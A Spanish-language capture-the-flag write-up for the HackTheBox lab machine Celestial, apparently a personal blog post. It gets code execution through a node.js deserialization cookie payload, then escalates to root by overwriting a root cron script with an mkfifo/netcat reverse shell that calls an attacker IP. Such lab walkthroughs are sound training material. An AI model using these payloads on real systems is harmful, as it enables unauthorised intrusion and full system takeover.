En este post haremos la máquina Celestial de HackTheBox.Es una maquina Linux de un nivel bajo

Mi nick en HackTheBox es: manulqwerty
Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.

Write-Up

Enumeración

Como siempre, lo primero sera un escaneo de puertos con nmap:

nmap -sC -sV 10.10.10.85


Tenemos un servicio http en el puerto 3000, vamos a revisarlo:

Vamos a interceptar la request con BurpSuite:

Como veis, la Cookie Profile parece ser un Base 64, nos ayudaremos del Decoder de BurpSuite:

{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}

Si modificamos el valor del campo ‘num’ por, por ejemplo, 4 y volvemos a encodear, vemos que la respuesta sera:
Hey Dummy 4 + 4 is 44

En cambio si modficamos erróneamente la cookie, obtendremos algo mas de información:

Explotación

Busquemos vulnerabilidades sobre las cookies en node.js

https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/
Siguiendo la guía, podremos obtener RCE con este valor de la cookie:

{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('ping -c 10.10.14.16 /',function(error, stdout, stderr) { console.log(stdout) });\n }()"}


Y con ayuda del Reverse Shell Cheat-Sheet podremos obtener reverse shell facilmente:

Post-Explotación

Como veis, el usuario con el que obtenemos shell forma parte de algunos grupos interesantes:

Aprovechando que formamos parte del grupo adm, podremos leer los logs del sistema:

cat /var/log/syslog


En este fichero vemos que cada 5 minutos se ejecuta como root el fichero /home/sun/Documents/script.py
El siguiente paso será editar dicho fichero con una reverse shell:

#!/usr/bin/env python
import os
import sys
try:
	os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.9 7777 >/tmp/f')
except:
	sys.exit()

¿Me ayudas a compatirlo?